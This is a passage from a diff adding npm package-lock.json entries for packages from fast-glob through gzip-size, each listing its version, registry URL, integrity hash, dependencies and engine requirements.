+ "integrity": "sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==", + "dev": true + }, + "node_modules/fast-glob": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.1.tgz", + "integrity": "sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "devOptional": true + }, + "node_modules/fast-url-parser": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/fast-url-parser/-/fast-url-parser-1.1.3.tgz", + "integrity": "sha512-5jOCVXADYNuRkKFzNJ0dCCewsZiYo0dz8QNYljkOpFC6r2U4OBmKtvm/Tsuh4w1YYdDqDb31a8TVhBJ2OJKdqQ==", + "dependencies": { + "punycode": "^1.3.2" + } + }, + "node_modules/fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fbemitter": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/fbemitter/-/fbemitter-3.0.0.tgz", + "integrity": "sha512-KWKaceCwKQU0+HPoop6gn4eOHk50bBv/VxjJtGMfwmJt3D29JpN4H4eisCtIPA+a8GVBam+ldMMpMjJUvpDyHw==", + "dependencies": { + "fbjs": "^3.0.0" + } + }, + "node_modules/fbjs": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-3.0.5.tgz", + "integrity": "sha512-ztsSx77JBtkuMrEypfhgc3cI0+0h+svqeie7xHbh1k/IKdcydnvadp/mUaGgjAOXQmQSxsqgaRhS3q9fy+1kxg==", + "dependencies": { + "cross-fetch": "^3.1.5", + "fbjs-css-vars": "^1.0.0", + "loose-envify": "^1.0.0", + "object-assign": "^4.1.0", + "promise": "^7.1.1", + "setimmediate": "^1.0.5", + "ua-parser-js": "^1.0.35" + } + }, + "node_modules/fbjs-css-vars": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/fbjs-css-vars/-/fbjs-css-vars-1.0.2.tgz", + "integrity": "sha512-b2XGFAFdWZWg0phtAWLHCk836A1Xann+I+Dgd3Gk64MHKZO44FfoD1KxyvbSh0qZsIoXQGGlVztIY+oitJPpRQ==" + }, + "node_modules/feed": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/feed/-/feed-4.2.2.tgz", + "integrity": "sha512-u5/sxGfiMfZNtJ3OvQpXcvotFpYkL0n9u9mM2vkui2nGo8b4wvDkJ8gAkYqbA8QpGyFCv3RK0Z+Iv+9veCS9bQ==", + "dependencies": { + "xml-js": "^1.6.11" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "devOptional": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/file-loader/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/filesize": { + "version": "8.0.7", + "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz", + "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", + "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "devOptional": true, + "dependencies": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz", + "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==", + "devOptional": true + }, + "node_modules/flux": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/flux/-/flux-4.0.4.tgz", + "integrity": "sha512-NCj3XlayA2UsapRpM7va6wU1+9rE5FIL7qoMcmxWHRzbp0yujihMBm9BBHZ1MDIk5h5o2Bl6eGiCe8rYELAmYw==", + "dependencies": { + "fbemitter": "^3.0.0", + "fbjs": "^3.0.1" + }, + "peerDependencies": { + "react": "^15.0.2 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.2", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", + "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz", + "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==", + "dependencies": { + "@babel/code-frame": "^7.8.3", + "@types/json-schema": "^7.0.5", + "chalk": "^4.1.0", + "chokidar": "^3.4.2", + "cosmiconfig": "^6.0.0", + "deepmerge": "^4.2.2", + "fs-extra": "^9.0.0", + "glob": "^7.1.6", + "memfs": "^3.1.2", + "minimatch": "^3.0.4", + "schema-utils": "2.7.0", + "semver": "^7.3.2", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=10", + "yarn": ">=1.0.0" + }, + "peerDependencies": { + "eslint": ">= 6", + "typescript": ">= 2.7", + "vue-template-compiler": "*", + "webpack": ">= 4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz", + "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==", + "dependencies": { + "@types/json-schema": "^7.0.4", + "ajv": "^6.12.2", + "ajv-keywords": "^3.4.1" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.1.tgz", + "integrity": "sha512-/KxoyCnPM0GwYI4NN0Iag38Tqt+od3/mLuguepLgCAKPn0ZhC544nssAW0tG2/00zXEYl9W+7hwAIpLHo6Oc7Q==", + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://www.patreon.com/infusion" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.4.tgz", + "integrity": "sha512-INM/fWAxMICjttnD0DX1rBvinKskj5G1w+oy/pnm9u/tSlnBrzFonJMcalKJ30P8RRsPzKcCG7Q8l0jx5Fh9YQ==" + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "node_modules/function.prototype.name": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz", + "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0", + "functions-have-names": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==" + }, + "node_modules/get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/github-slugger": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-1.5.0.tgz", + "integrity": "sha512-wIh+gKBI9Nshz2o46B0B3f5k/W+WI9ZAv6y5Dn5WJ5SK1t0TnDimB4WE5rmTD05ZAIn8HALCZVmCsvj0w0v0lw==" + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "node_modules/global-dirs": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.1.tgz", + "integrity": "sha512-NBcGGFbBA9s1VzD41QXDG+3++t9Mn5t1FpLdhESY6oKY4gYTFpX4wO3sqGUa0Srjtbfj3szX0RnemmrVRUdULA==", + "dependencies": { + "ini": "2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/global-dirs/node_modules/ini": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz", + "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/globalthis": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz", + "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "devOptional": true + }, + "node_modules/gray-matter": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-4.0.3.tgz", + "integrity": "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==", + "dependencies": { + "js-yaml": "^3.13.1", + "kind-of": "^6.0.2", + "section-matter": "^1.0.0", + "strip-bom-string": "^1.0.0" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/gray-matter/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/gray-matter/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "dependencies": 